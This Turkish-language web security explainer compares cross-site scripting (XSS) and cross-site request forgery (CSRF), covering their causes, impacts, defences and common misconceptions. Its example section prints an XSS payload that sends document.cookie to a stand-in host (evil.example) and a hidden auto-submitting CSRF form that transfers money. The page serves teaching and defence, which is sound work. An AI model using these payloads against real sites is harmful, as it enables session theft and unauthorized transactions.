Ana içeriğe geç

Yan yana

XSSvsCSRF

XSS ile CSRF arasındaki fark nedir?

Güncellendi 2 dk okuma6 fark

Kısaca

XSS, güvenilen bir sitede çalışacak kötü amaçlı betik enjekte eder; CSRF ise oturumu açık kullanıcının tarayıcısını o siteye istenmeyen istek atmaya kandırır.

XSS

Siteler Arası Betik Çalıştırma (Cross-Site Scripting)

XSS, saldırganın güvenilir bir siteye kötü amaçlı JavaScript enjekte edip bu kodu diğer kullanıcıların tarayıcısında çalıştırmasına yol açan zafiyettir.

XSS sayfasını oku

CSRF

Siteler Arası İstek Sahteciliği (Cross-Site Request Forgery)

CSRF, oturum açmış kullanıcının tarayıcısını güvenilir bir siteye istenmeyen istek göndermeye kandıran, sitenin de gerçek kullanıcı eylemi sandığı saldırıdır.

CSRF sayfasını oku

XSS ve CSRF karşılaştırması

ÖzellikXSSCSRF
Kötüye kullanılan güvenKullanıcının web sitesine güveniWeb sitesinin kullanıcının tarayıcısına güveni
Saldırı kodunun çalıştığı yerHedef sitede, kurbanın tarayıcısındaSaldırganın kendi sitesinde
Veri okuyabilir miEvet: sayfa içeriği, token'lar, betiğin ulaşabildiği her şeyHayır: istekler körlemesine gönderilir ve yanıtlar gizli kalır
Kök nedenKaçış uygulanmadan oluşturulan güvenilmeyen girdiYalnızca kendiliğinden gönderilen çerezlerle doğrulanan istekler
Ana savunmalarÇıktıya kaçış uygulama, HTML temizleme, Content Security PolicyCSRF token'ları, SameSite cookie'leri, Origin başlığı denetimleri
Tipik etkiOturum hırsızlığı, hesabın ele geçirilmesi, tahrif edilmiş sayfalarİstenmeyen transferler, e-posta veya parola değişiklikleri

Fark, açıklamalı

Siteler arası betik çalıştırma (XSS), bir uygulama güvenilmeyen girdiyi kaçış (escape) uygulamadan bir sayfaya kattığında olur; böylece saldırganın JavaScript'i diğer kullanıcıların tarayıcılarında sitenin tüm yetkileriyle çalışır. Siteler arası istek sahteciliği (CSRF) ise kötü amaçlı bir sayfa kurbanın tarayıcısına, oturum açtığı bir siteye istek yaptırdığında olur ve tarayıcı çerezlerini kendiliğinden ekler.

Fark, saldırganın neyi denetlediğidir. XSS'te saldırganın kodu sizin origin'inizde çalışır; bu yüzden sayfayı okuyabilir, veri çalabilir ve kullanıcı gibi her türlü işlemi yapabilir. CSRF'de saldırgan hiçbir şeyi okuyamaz; yalnızca körlemesine bir istek atıp bir e-posta adresi ya da para transferi gibi bir şeyi değiştirmesini umabilir.

Savunmalar da farklıdır. XSS; çıktıya kaçış uygulayarak, izin verdiğiniz HTML'i temizleyerek (sanitize), innerHTML gibi güvensiz API'lerden kaçınarak ve bir Content Security Policy ekleyerek önlenir. CSRF ise CSRF karşıtı token'lar, SameSite cookie'leri ve veri değiştiren isteklerde Origin başlığının denetlenmesiyle önlenir. XSS ayrıca CSRF korumasını da aşar, çünkü kendi sitenizde çalışan bir betik token'ı okuyabilir.

Sık yapılan bir yanlış, modern framework'lerin ve tarayıcıların iki saldırıyı da geçersiz kıldığı düşüncesidir. Framework'ler çıktıya varsayılan olarak kaçış uygular ve bazı tarayıcılar cookie'leri aksi belirtilmedikçe artık SameSite=Lax sayar; ama ham HTML oluşturma, yanlış yapılandırılmış cookie'ler ve veriyi değiştiren GET istekleri gerçek uygulamaları hâlâ savunmasız bırakır.

Hangisi nerede risk oluşturur?

XSS riski şu durumlarda var:

  • Sayfalarınız yorumlar ya da profiller gibi kullanıcı tarafından üretilen içerik gösteriyor.
  • Kod innerHTML ile HTML ekliyor ya da ham işaretleme (markup) oluşturuyor.
  • URL parametreleri ya da arama terimleri sayfaya geri yansıtılıyor.

CSRF riski şu durumlarda var:

  • Uygulamanız istekleri doğrulamak için cookie'lere dayanıyor.
  • Formlar ya da uç noktalar veriyi CSRF token'ı veya Origin denetimi olmadan değiştiriyor.
  • GET istekleri kayıt silmek ya da para taşımak gibi eylemler gerçekleştiriyor.

Her saldırı nasıl görünür

XSShtml
<!-- XSS: a comment saved without escaping... -->
<div class="comment">
  Nice post!
  <script>
    fetch("https://evil.example/steal?c=" + document.cookie);
  </script>
</div>
<!-- ...runs as trusted code for every visitor -->
CSRFhtml
<!-- CSRF: a hidden form on the attacker's own site -->
<form action="https://bank.example/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>
  // The browser attaches the victim's bank cookies
  document.forms[0].submit();
</script>

Sık sorulan sorular

CSRF koruması XSS'i durdurur mu?

Hayır. CSRF token'ları XSS'e karşı hiçbir şey yapmaz; bir XSS açığı CSRF token'larını okuyup bu korumayı bile aşabilir. Her saldırının kendi savunmasına ihtiyacı vardır.

SameSite cookie'leri CSRF'yi önler mi?

SameSite=Lax veya Strict, cookie'leri siteler arası isteklerde göndermeyerek CSRF saldırılarının çoğunu engeller. CSRF token'ları ya da Origin denetimleriyle birlikte en iyi çalışır; bunlar eski tarayıcıları ve kardeş alt alan adlarından gelen saldırıları da kapsar.

XSS mi CSRF mi daha tehlikeli?

XSS genellikle daha ciddidir; çünkü saldırganın betiği veri okuyabilir ve kullanıcının yapabildiği her şeyi yapabilir. CSRF körlemesine isteklerle sınırlıdır, ama hesap bilgilerini değiştirmek gibi yine de ciddi zarar verebilir.

Daha fazla

Ayarlar